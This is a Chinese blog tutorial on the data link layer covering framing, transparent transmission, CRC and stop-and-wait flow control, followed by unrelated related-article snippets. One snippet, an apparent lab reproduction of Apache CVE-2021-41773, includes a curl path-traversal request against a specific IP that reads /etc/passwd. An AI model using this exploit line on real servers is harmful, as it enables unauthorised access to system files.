【计算机网络篇】数据链路层 功能|组帧|流量控制与可靠传输机制
🧸安清h:个人主页
🎥个人专栏:【计算机网络】
🚦作者简介:一个有趣爱睡觉的intp,期待和更多人分享自己所学知识的真诚大学生。
系列文章目录
【计算机网络篇】计算机网络概述
【计算机网络篇】电路交换,报文交换,分组交换
【计算机网络篇】物理层 (CSDN热榜文章)
文章目录
🎥前言
🎯一.数据链路层的功能
🎯二.组帧
🚦2.1封装成帧
🚦2.2透明传输
✨2.2.1 解决透明传输问题
✨2.2.2零比特填充
🚦2.3差错检测
🎯三.流量控制与可靠传输机制
🚦3.1流量控制,可靠传输,滑动窗口机制
✨基本概念
🚦 3.2停止-等待协议
✨3.2.1无差错情况和超时重传
✨3.2.2确认丢失和确认迟到
✨3.2.3信道利用率
总结
🎥前言
数据链路层是OSI模型的第二层,主要负责在相邻网络节点间提供可靠的数据传输。它通过帧同步、差错控制和流量控制来确保数据的完整性和准确性。这一层使用MAC地址识别设备,并在物理层传输的比特流上添加控制信息,形成数据帧。常见的数据链路层协议包括以太网和PPP,它们定义了数据封装和传输的具体方法。在本书中重要程度仅次于网络层,是非常重要的学习章节。下面我将逐步为大家介绍其重点。
🎯一.数据链路层的功能
- 链路是一条无源的点到点的物理线路段,中间没有任何其他的交换结点。
- 数据链路层传送的是帧。
链路层就是把上层的网络层给它的这个数据包,装入到帧这个结构的数据部分,中间链路上的比特经过曼彻斯特或差分曼彻斯特等编码方式传输到对端。数据从结点A被传输到结点B后,B把数据取出。
注意:链路中间没有任何东西,顶多放中继器用来放大信号。
🎯二.组帧
🚦2.1封装成帧
封装成帧就是在一段数据的前后分别添加首部和尾部,然后就构成了一个帧。一个帧的帧长等于帧的数据部分长度加上帧首部和帧尾部的长度。首部和尾部作用的帧定界(即确定帧的界限)。
数据部分长度上限--最大传送单元MTU
🚦2.2透明传输
由于帧的开始和结束的标记是使用专门指明的控制字符,因此,所传输的数据中的任何8比特的组合一定不允许和用作帧定界的控制字符的比特编码一样,否则就会出现帧定界的错误。
当数据部分是非ASCII码的文本文件时(如二进制代码的计算机程序或图像等),情况就不同了。如果数据中的某个字节的二进制代码恰好和SOH或EOT这种控制字符一样(见图3-6),数据链路层就会错误地“找到帧的边界”,把部分帧收下(误认为是个完整的帧),而把剩下的那部分数据丢弃(这部分找不到帧定界控制字符SOH)
✨2.2.1 解决透明传输问题
发送端的数据链路层在数据中出现控制字符‘SOH’或‘EOT’的前面插入一个转义字符‘ESC’。
字节填充或字符填充--接收端的数据链路层在将数据送往网络层之前删除插入的转义字符。
如果转义字符也出现在数据当中,那么应在转义字符前再加入一个转义字符。当接收端收到两个转义字符时,就删除其中前面的一个。
该图表示用字节填充法解决透明传输问题。
✨2.2.2零比特填充
在发送端,只要发现有五个连续的1,则立即填入一个0。接收端对帧中的比特流进行扫描。每当发现5个连续1时,就把这5个连续1后的一个0删除。
🚦2.3差错检测
- 在数据链路传送帧中,往往广泛的使用循环冗余检验CRC的检错技术。
- 为了进行检错而添加的冗余码常称为帧检验序列FCS。
- 循环冗余检验CRC和帧检验序列FCS并不等同。
- CRC是一种常用的检错方法,而FCS是添加在数据后的冗余码。
- FCS可以用CRC这种方法得出,但CRC并非用来获得FCS的唯一方法。
- 接收端对收到的每一帧进行CRC检验,若得出的余数R=0,则判定这个帧没有差错,就接受;若余数R≠0,则判定这个帧有差错,就丢弃。
在发送端,先把数据划分为组,假定每组 k个比特。现假定待传送的数据M=101001(k=6)。CRC运算就是在数据M的后面添加供差错检测用的n位冗余码,然后构成一个帧发送出去,一共发送(k + n)位。在所要发送的数据后面增加n位的冗余码,虽然增大了数据传输的开销,但却可以进行差错检测。
这n 位冗余码可用以下方法得出。用二进制的模 2 运算[插图]进行2n乘 M 的运算,这相当于在M后面添加n个0。得到的(k + n)位的数除以收发双方事先商定的长度为(n + 1)位的除数P,得出商是Q而余数是R(n 位,比P少一位)。
🎯三.流量控制与可靠传输机制
🚦3.1流量控制,可靠传输,滑动窗口机制
✨基本概念
- 流量控制是确保发送方不会因为发送数据过快而导致接收方处理不过来的情况。TCP通过滑动窗口机制来实现流量控制,接收方根据自己的缓冲区容量来调整通告给发送方的窗口大小,从而控制发送方的数据发送速率。我们假设A是发送方,B是接收方,流量控制是控制发送方的发送速度和接收方的接受速度保持一致,即控制的是发送方。
- 滑动窗口机制是TCP协议中用于流量控制和可靠传输的一个重要技术。它允许发送方在没有收到确认应答的情况下,继续发送一定数量的数据,这个数量由窗口大小决定。这样可以有效提高数据传输的效率,因为它减少了发送方因为等待确认而产生的空闲时间。
- 滑动窗口机制还包括快速重传和超时重传机制。快速重传是指发送方在连续收到三个重复确认(即接收方请求重传丢失的数据包)时,立即重传丢失的数据包,而不是等待超时计时器到期。这样可以快速响应丢包情况,提高传输效率。
🚦 3.2停止-等待协议
✨3.2.1无差错情况和超时重传
“停止等待”就是每发送完一个分组就停止发送,等待对方的确认。有两种情况会出现,分别是无差错情况和有差错情况。
- 在无差错情况中,A发送分组M1,发送完就暂停发送,等待B的确认。B收到了M1就向A发送确认。往后依此类推。
- 在有差错情况中,A向B发送时,出现了帧丢失的情况或B收到帧后检查发现有错误,此时,A就引入了超时重传机制。A由于没有收到B发送来的确认,因而重传前面发送过的分组。
✨3.2.2确认丢失和确认迟到
- 确认丢失 (a)A在设定的超时重传时间里没有收到B发送的确认信息,A无法判断数据处于丢失,出错或B发送的确认丢失某种状态,所以A继续向B传输原来未发送过去的数据M1,直到收到了确认信息,继续传输数据。
- 确认迟到 (b)在传输过程中没有出现任何差错,但B对分组M1的确认迟到了,A就会再向B发送数据M1,B在收到了重复的数据后删掉了其中一个,然后向A发送了确认信息。
✨3.2.3信道利用率
停止等待协议的优点是简单,但缺点是信道利用率太低
- Td:分组帧的发送时间
- RTT:端到端的传播时延
- Ta:确认时间
- 在整个传输周期的利用率就是Td
在此过程中,信道利用率最大为100%,重要公式:k×Td/Td+RTT+Ta=1
发送方可连续发送多个分组,不必每发完一个分组就停下来等待对方的确认。
总结
以上就是今天要讲的内容了,主要在组帧,流量控制与可靠传输机制方面做了重点的讲解,里面划分了很多值得重视的小点,在书中也是作为重要内容。由于篇幅有限的原因,剩下的部分只能放到下一篇来讲解啦😊!如果大家感兴趣的话,也可以看看我的专栏《计算机网络》之前的文章,相信会对您有所帮助的。
非常感谢您的阅读,如果这篇文章对您有帮助,那将是我的荣幸。我们下期再见啦🧸!
相关文章:

【计算机网络篇】数据链路层 功能|组帧|流量控制与可靠传输机制
🧸安清h:个人主页 🎥个人专栏:【计算机网络】 🚦作者简介:一个有趣爱睡觉的intp,期待和更多人分享自己所学知识的真诚大学生。 系列文章目录 【计算机网络篇】计算机网络概述 【计算机网络篇…...

Apache CVE-2021-41773漏洞复现
1、环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2、使⽤poc curl http://47.121.212.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3、工具验证...

带线无人机现身俄罗斯抗干扰技术详解
带线无人机在俄罗斯的出现,特别是其光纤制导技术的应用,标志着无人机抗干扰技术的一大进步。以下是对俄罗斯带线无人机抗干扰技术的详细解析: 一、带线无人机抗干扰技术背景 技术突破:俄军成功研发了光纤制导无人机,…...

ArcGIS10.2/10.6安装包下载与安装(附详细安装步骤)
相信从事地理专业的小伙伴来说,应该对今天的标题不会陌生。Arcgis是一款很常用的地理信息系统软件,主要用于地理数据的采集、管理、分析和展示。目前比较常见的版本有ArcGIS 10.2和ArcGIS 10.6。 不可否认,Arcgis具有强大的地图制作、空间分…...

生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队指导设计、解读实验结果。
查看原文>>>生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队免费指导设计、解读实验结果、一台服务器解决您所有的分析困扰!...

【machine learning-14-特征缩放-归一化】
特征缩放是提升线性回归收敛速度的技巧,什么是特征缩放? 又是什么场景下需要特征缩放,有哪些特征缩放的方法呢? 特征值差异 我们还是以之前房间预测为例: 这里面是特征房屋大小 房间数目 与房价的关系 本文为简化…...
二叉树堆的建立与排序
在数据结构中,二叉树是非常好用的一种数据结构,这节暂时按下不表。这节课主要介绍堆的建立与使用。 堆,是二叉树中一种很特殊的结构,首先,他必须是满二叉树,也就是除了最后一层以外,其他层都是…...

【软件测试】Bug 篇
哈喽,哈喽,大家好~ 我是你们的老朋友:保护小周ღ 今天给大家带来的是 【软件测试】Bug 篇,首先了解, 什么是Bug, 如何定义一个Bug, 如何描述一个 Bug, Bug的级别, 和 Bug 的生命周期, 以及测试人员跟开发人员产生争执如何处理,…...
oracle 多表查询
3.6多表查询 当查询的数据并不是来源一个表时,需要使用多表连接操作完成查询。多表连接查询通过表之间的关联字段,一次查询出多个表的数据。 3.6.1等值连接 等值连接也称为简单连接(Simple Joins)或者内连接(Inner Join)。通过等号来判断连接条件中的数据…...
layui 可以使点击图片放大
layui可以使图片点击放大,不用在写jquyery了真是很方便。 操作示例 引入 <link rel"stylesheet" href"https://cdn.jsdelivr.net/npm/layui-layer3.1.1/dist/layui.css" /> <script src"https://cdn.bootcdn.net/ajax/libs/jqu…...

制作网上3D展馆需要什么技术并投入多少费用?
制作网上3D展览馆项目,需要考虑以下技术和预算方面的信息: 技术需求: 1、三维建模技术:利用3D软件(3ds max、maya、blender、c4d等)制作展馆和展品的3D模型 2、Web3D技术:如WebGL,…...

C++标准库容器类——string类
引言 在c中,string类的引用极大地简化了字符串的操作和管理,相比 C 风格字符串(char*或cahr[]),std::string 提供了更高效和更安全的字符串操作。接下来让我们一起来深入学习string类吧! 1.string 的构造…...

Qt --- 常用控件的介绍 --- 其他控件
一、QPushButton QWidget中设计到的各种属性/函数/使用方法,针对接下来要介绍的Qt的各种控件都是有效的。 使用QPushButton表示一个按钮,这也是当前我们最熟悉的一个控件了。这个类继承了QAbstractButton,这个类是一个抽象类,是…...

spark读取数据性能提升
1. 背景 spark默认的jdbc只会用单task读取数据,读取大数据量时,效率低。 2. 解决方案 根据分区字段,如日期进行划分,增加task数量提升效率。 /*** 返回每个task按时间段划分的过滤语句* param startDate* param endDate* param …...
一次使用threading.Thread来实现Pytorch多个模型并发运行的失败案例
文章目录 背景我的做法(但证明不起效果) 背景 我有多个pytorch GPU模型,他们有不同的参数(也就是说不是共享的),但是相同的数据输入,想要并发运行。 不并发运行,当然就是循环喽。 …...
HashMap源码
简介 HashMap 是一种基于哈希表的 Map 接口实现,它存储键值对(key-value pairs),并允许使用键来快速检索值。在 Java 中,HashMap 是 java.util 包的一部分,它不是同步的,这意味着它不是线程安全…...

探索 Web Speech API:实现浏览器语音识别与合成
引言 Web Speech API 是一项由 W3C 开发的 Web 标准,为开发者提供了在 Web 应用程序中实现语音识别和语音合成的能力。通过 Web Speech API,我们可以让网页与用户进行语音交互,实现更加智能化和便捷的用户体验。本文将深入探讨 Web Speech A…...
python基础题练习
1.可否定义一个sum函数呢?返回指定区间的值的和?例如,区间[1,4]的和为123410返回指定区间值的平方的和呢?立方呢? 代码: # 计算从start到end(包括end)的所有整数的和。 def sum_ra…...

工业交换机如何保证数据的访问安全
在现代工业自动化环境中,工业交换机作为关键的网络设备,扮演着数据传输和信息交互的重要角色。为了确保数据的访问安全,工业交换机不仅具备高效的转发性能,还集成了多层次的安全防护机制,以抵御各种潜在的网络威胁。 首…...

jmeter得到的文档数据处理
通过前面jmeter得到的输出文档,这里是txt文档,里面包含了很多条数据,每条数据的结构如下: 【request】 uuid:xxxxxxx timestamp:xxxxxxxx No.x question:xxxxxxx 【response】 code&#…...

Docker 离线安装指南
参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性,不同版本的Docker对内核版本有不同要求。例如,Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本,Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...

大数据学习栈记——Neo4j的安装与使用
本文介绍图数据库Neofj的安装与使用,操作系统:Ubuntu24.04,Neofj版本:2025.04.0。 Apt安装 Neofj可以进行官网安装:Neo4j Deployment Center - Graph Database & Analytics 我这里安装是添加软件源的方法 最新版…...

day36-多路IO复用
一、基本概念 (服务器多客户端模型) 定义:单线程或单进程同时监测若干个文件描述符是否可以执行IO操作的能力 作用:应用程序通常需要处理来自多条事件流中的事件,比如我现在用的电脑,需要同时处理键盘鼠标…...

C++_哈希表
本篇文章是对C学习的哈希表部分的学习分享 相信一定会对你有所帮助~ 那咱们废话不多说,直接开始吧! 一、基础概念 1. 哈希核心思想: 哈希函数的作用:通过此函数建立一个Key与存储位置之间的映射关系。理想目标:实现…...

Linux 下 DMA 内存映射浅析
序 系统 I/O 设备驱动程序通常调用其特定子系统的接口为 DMA 分配内存,但最终会调到 DMA 子系统的dma_alloc_coherent()/dma_alloc_attrs() 等接口。 关于 dma_alloc_coherent 接口详细的代码讲解、调用流程,可以参考这篇文章,我觉得写的非常…...

倒装芯片凸点成型工艺
UBM(Under Bump Metallization)与Bump(焊球)形成工艺流程。我们可以将整张流程图分为三大阶段来理解: 🔧 一、UBM(Under Bump Metallization)工艺流程(黄色区域ÿ…...

【大模型】RankRAG:基于大模型的上下文排序与检索增强生成的统一框架
文章目录 A 论文出处B 背景B.1 背景介绍B.2 问题提出B.3 创新点 C 模型结构C.1 指令微调阶段C.2 排名与生成的总和指令微调阶段C.3 RankRAG推理:检索-重排-生成 D 实验设计E 个人总结 A 论文出处 论文题目:RankRAG:Unifying Context Ranking…...

高端性能封装正在突破性能壁垒,其芯片集成技术助力人工智能革命。
2024 年,高端封装市场规模为 80 亿美元,预计到 2030 年将超过 280 亿美元,2024-2030 年复合年增长率为 23%。 细分到各个终端市场,最大的高端性能封装市场是“电信和基础设施”,2024 年该市场创造了超过 67% 的收入。…...
手动给中文分词和 直接用神经网络RNN做有什么区别
手动分词和基于神经网络(如 RNN)的自动分词在原理、实现方式和效果上有显著差异,以下是核心对比: 1. 实现原理对比 对比维度手动分词(规则 / 词典驱动)神经网络 RNN 分词(数据驱动)…...

npm安装electron下载太慢,导致报错
npm安装electron下载太慢,导致报错 背景 想学习electron框架做个桌面应用,卡在了安装依赖(无语了)。。。一开始以为node版本或者npm版本太低问题,调整版本后还是报错。偶尔执行install命令后,可以开始下载…...